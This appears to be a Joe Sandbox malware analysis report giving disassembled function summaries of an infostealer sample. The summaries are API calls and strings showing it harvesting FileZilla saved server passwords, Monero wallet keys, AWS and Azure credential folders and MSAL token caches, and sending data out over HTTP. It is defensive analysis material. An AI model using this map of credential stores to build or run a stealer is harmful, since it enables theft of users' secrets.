Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 003C0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 003C8E0B

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003B99EC
Part of subcall function 003B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 003B9A11
Part of subcall function 003B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 003B9A31
Part of subcall function 003B99C0: ReadFile.KERNEL32(000000FF,?,00000000,003B148F,00000000), ref: 003B9A5A
Part of subcall function 003B99C0: LocalFree.KERNEL32(003B148F), ref: 003B9A90
Part of subcall function 003B99C0: CloseHandle.KERNEL32(000000FF), ref: 003B9A9A

Part of subcall function 003C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 003C8E52

GetProcessHeap.KERNEL32(00000000,000F423F,003D0DBA,003D0DB7,003D0DB6,003D0DB3), ref: 003C0362
RtlAllocateHeap.NTDLL(00000000), ref: 003C0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 003C0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 003C03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 003C0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 003C0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 003C0562
lstrcat.KERNEL32(?,profile: null), ref: 003C0571
lstrcat.KERNEL32(?,url: ), ref: 003C0580
lstrcat.KERNEL32(?,00000000), ref: 003C0593
lstrcat.KERNEL32(?,003D1678), ref: 003C05A2
lstrcat.KERNEL32(?,00000000), ref: 003C05B5
lstrcat.KERNEL32(?,003D167C), ref: 003C05C4
lstrcat.KERNEL32(?,login: ), ref: 003C05D3
lstrcat.KERNEL32(?,00000000), ref: 003C05E6
lstrcat.KERNEL32(?,003D1688), ref: 003C05F5
lstrcat.KERNEL32(?,password: ), ref: 003C0604
lstrcat.KERNEL32(?,00000000), ref: 003C0617
lstrcat.KERNEL32(?,003D1698), ref: 003C0626
lstrcat.KERNEL32(?,003D169C), ref: 003C0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C068E

Strings

<Host>, xrefs: 003C037C
login: , xrefs: 003C05CA
<Port>, xrefs: 003C03C6
password: , xrefs: 003C05FB
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 003C02A4
<User>, xrefs: 003C0410
profile: null, xrefs: 003C0568
<Pass encoding="base64">, xrefs: 003C045A
url: , xrefs: 003C0577
browser: FileZilla, xrefs: 003C0559

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 2051956780bb72e9f0d786cc24111d3b8b0403090649330ded4c0dea1aaac151
Instruction ID: ddd82301c6176c0679aac901efa038f19008add7cf13dae06739643c5aac7aa7
Opcode Fuzzy Hash: 2051956780bb72e9f0d786cc24111d3b8b0403090649330ded4c0dea1aaac151
Instruction Fuzzy Hash: 42D12DB6900208ABCB06EBE4DD96FEE7738EF14304F50451DF506EA191DE74AE09DB62

Function 003B5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 003B4839
Part of subcall function 003B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 003B4849

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003B59F8
StrCmpCA.SHLWAPI(?,0108E7B8), ref: 003B5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003B5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0108E7D8,00000000,?,0108A300,00000000,?,003D1A1C), ref: 003B5E71
lstrlen.KERNEL32(00000000), ref: 003B5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 003B5E93
RtlAllocateHeap.NTDLL(00000000), ref: 003B5E9A
lstrlen.KERNEL32(00000000), ref: 003B5EAF
lstrlen.KERNEL32(00000000), ref: 003B5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 003B5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 003B5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 003B5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 003B5F4C
InternetCloseHandle.WININET(00000000), ref: 003B5FB0
InternetCloseHandle.WININET(00000000), ref: 003B5FBD
HttpOpenRequestA.WININET(00000000,0108E8C8,?,0108DFD8,00000000,00000000,00400100,00000000), ref: 003B5BF8

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

InternetCloseHandle.WININET(00000000), ref: 003B5FC7

Strings

------, xrefs: 003B5C0B
------, xrefs: 003B5A96
", xrefs: 003B5CD5
", xrefs: 003B5E16
------, xrefs: 003B5D4C

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 58ba297e5bc38440ea3cde31412b59d2f86054a279d4bd771e3954cf1c9d7038
Instruction ID: 1fea78f0703e46570d279e32e2393363c10809d212cf58f0c8d7680a4dd14918
Opcode Fuzzy Hash: 58ba297e5bc38440ea3cde31412b59d2f86054a279d4bd771e3954cf1c9d7038
Instruction Fuzzy Hash: 9812ED7182061CABDB16EBA0DC96FEEB778BF14704F50419DB10AA6091DF702E49CF66

Function 003BCEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003C8B60: GetSystemTime.KERNEL32(003D0E1A,0108A270,003D05AE,?,?,003B13F9,?,0000001A,003D0E1A,00000000,?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003C8B86

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003BCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 003BD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 003BD0CE
lstrcat.KERNEL32(?,00000000), ref: 003BD208
lstrcat.KERNEL32(?,003D1478), ref: 003BD217
lstrcat.KERNEL32(?,00000000), ref: 003BD22A
lstrcat.KERNEL32(?,003D147C), ref: 003BD239
lstrcat.KERNEL32(?,00000000), ref: 003BD24C
lstrcat.KERNEL32(?,003D1480), ref: 003BD25B
lstrcat.KERNEL32(?,00000000), ref: 003BD26E
lstrcat.KERNEL32(?,003D1484), ref: 003BD27D
lstrcat.KERNEL32(?,00000000), ref: 003BD290
lstrcat.KERNEL32(?,003D1488), ref: 003BD29F
lstrcat.KERNEL32(?,00000000), ref: 003BD2B2
lstrcat.KERNEL32(?,003D148C), ref: 003BD2C1
lstrcat.KERNEL32(?,00000000), ref: 003BD2D4
lstrcat.KERNEL32(?,003D1490), ref: 003BD2E3

Part of subcall function 003CA820: lstrlen.KERNEL32(003B4F05,?,?,003B4F05,003D0DDE), ref: 003CA82B
Part of subcall function 003CA820: lstrcpy.KERNEL32(003D0DDE,00000000), ref: 003CA885

lstrlen.KERNEL32(?), ref: 003BD32A
lstrlen.KERNEL32(?), ref: 003BD339

Part of subcall function 003CAA70: StrCmpCA.SHLWAPI(01089168,003BA7A7,?,003BA7A7,01089168), ref: 003CAA8F

DeleteFileA.KERNEL32(00000000), ref: 003BD3B4

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 27fc1dcd9335b859a5deeeb5efe03bd0dfcbe8bb97233b7140e48e3ab40eb800
Instruction ID: f8c618a305e5b9c28a052e011bbae6cfd6f99e82883b9afe5955893b8f4b27fe
Opcode Fuzzy Hash: 27fc1dcd9335b859a5deeeb5efe03bd0dfcbe8bb97233b7140e48e3ab40eb800
Instruction Fuzzy Hash: 13E110B1910608ABCB06EBA0DD96FEE7778BF14305F104159F106FA191DE35AE09DB63

Function 003BC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0108D4A0,00000000,?,003D144C,00000000,?,?), ref: 003BCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 003BCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 003BCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 003BCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 003BCAD9
StrStrA.SHLWAPI(?,0108D4B8,003D0B52), ref: 003BCAF7
StrStrA.SHLWAPI(00000000,0108D4D0), ref: 003BCB1E
StrStrA.SHLWAPI(?,0108DC80,00000000,?,003D1458,00000000,?,00000000,00000000,?,010891C8,00000000,?,003D1454,00000000,?), ref: 003BCCA2
StrStrA.SHLWAPI(00000000,0108DB20), ref: 003BCCB9

Part of subcall function 003BC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 003BC871
Part of subcall function 003BC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 003BC87C

StrStrA.SHLWAPI(?,0108DB20,00000000,?,003D145C,00000000,?,00000000,010891D8), ref: 003BCD5A
StrStrA.SHLWAPI(00000000,010890A8), ref: 003BCD71

Part of subcall function 003BC820: lstrcat.KERNEL32(?,003D0B46), ref: 003BC943
Part of subcall function 003BC820: lstrcat.KERNEL32(?,003D0B47), ref: 003BC957
Part of subcall function 003BC820: lstrcat.KERNEL32(?,003D0B4E), ref: 003BC978

lstrlen.KERNEL32(00000000), ref: 003BCE44
CloseHandle.KERNEL32(00000000), ref: 003BCE9C

Strings

, xrefs: 003BC9C6

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 6fa107ca6deb1e427393ae39f7162072ae2f0a49e48b1554c8ba8b55a4845f6a
Instruction ID: 3255a0c4179ca9e49b5d9022c4a5255771aa30676ee30b490ffe44e9c07d378b
Opcode Fuzzy Hash: 6fa107ca6deb1e427393ae39f7162072ae2f0a49e48b1554c8ba8b55a4845f6a
Instruction Fuzzy Hash: BDE110B191060CABDB16EBA0DC96FEEB778AF14304F40415DF106EA191DF346E4ACB66

Function 003C8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

RegOpenKeyExA.ADVAPI32(00000000,0108B288,00000000,00020019,00000000,003D05B6), ref: 003C83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 003C8426
wsprintfA.USER32 ref: 003C8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 003C847B
RegCloseKey.ADVAPI32(00000000), ref: 003C848C
RegCloseKey.ADVAPI32(00000000), ref: 003C8499

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Strings

%s\%s, xrefs: 003C844D
?, xrefs: 003C837A
- , xrefs: 003C85A3

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 54f5d49b7a89fdd67113fe3279df56bf77124b2de8183a8e3980207cbd16a707
Instruction ID: 13028e42dfaad457788aa40996ee3d8b5e3610394db36a386b73d5a9f1e0bbff
Opcode Fuzzy Hash: 54f5d49b7a89fdd67113fe3279df56bf77124b2de8183a8e3980207cbd16a707
Instruction Fuzzy Hash: 66810BB191021CABDB25DB50CC95FEAB7B8FB18704F008299E109E6140DF756F89CF95

Function 003C4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 003C8E0B

lstrcat.KERNEL32(?,00000000), ref: 003C4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 003C4DCD

Part of subcall function 003C4910: wsprintfA.USER32 ref: 003C492C
Part of subcall function 003C4910: FindFirstFileA.KERNEL32(?,?), ref: 003C4943

lstrcat.KERNEL32(?,00000000), ref: 003C4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 003C4E59

Part of subcall function 003C4910: StrCmpCA.SHLWAPI(?,003D0FDC), ref: 003C4971
Part of subcall function 003C4910: StrCmpCA.SHLWAPI(?,003D0FE0), ref: 003C4987
Part of subcall function 003C4910: FindNextFileA.KERNEL32(000000FF,?), ref: 003C4B7D
Part of subcall function 003C4910: FindClose.KERNEL32(000000FF), ref: 003C4B92

lstrcat.KERNEL32(?,00000000), ref: 003C4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 003C4EE5

Part of subcall function 003C4910: wsprintfA.USER32 ref: 003C49B0
Part of subcall function 003C4910: StrCmpCA.SHLWAPI(?,003D08D2), ref: 003C49C5
Part of subcall function 003C4910: wsprintfA.USER32 ref: 003C49E2
Part of subcall function 003C4910: PathMatchSpecA.SHLWAPI(?,?), ref: 003C4A1E
Part of subcall function 003C4910: lstrcat.KERNEL32(?,0108E7E8), ref: 003C4A4A
Part of subcall function 003C4910: lstrcat.KERNEL32(?,003D0FF8), ref: 003C4A5C
Part of subcall function 003C4910: lstrcat.KERNEL32(?,?), ref: 003C4A70
Part of subcall function 003C4910: lstrcat.KERNEL32(?,003D0FFC), ref: 003C4A82
Part of subcall function 003C4910: lstrcat.KERNEL32(?,?), ref: 003C4A96
Part of subcall function 003C4910: CopyFileA.KERNEL32(?,?,00000001), ref: 003C4AAC
Part of subcall function 003C4910: DeleteFileA.KERNEL32(?), ref: 003C4B31

Strings

\.IdentityService\, xrefs: 003C4ED9
Azure\.azure, xrefs: 003C4DD3
Azure\.aws, xrefs: 003C4E5F
\.azure\, xrefs: 003C4DC1
msal.cache, xrefs: 003C4EF0
Azure\.IdentityService, xrefs: 003C4EEB
\.aws\, xrefs: 003C4E4D
*.*, xrefs: 003C4E64
*.*, xrefs: 003C4DD8

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: ae58852ece91987a7c1a1deb70f1d26e8cb318bae67c0f09aea69c7088aa803c
Instruction ID: e307828eb1cf2611d46166c3de94dc39bf1c2c69f3af125f556df254657c2900
Opcode Fuzzy Hash: ae58852ece91987a7c1a1deb70f1d26e8cb318bae67c0f09aea69c7088aa803c
Instruction Fuzzy Hash: 0641A3BA94020867D711F770EC47FED7338AB24704F404859B249AA1C1EEB45BC98B93

Function 003C9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

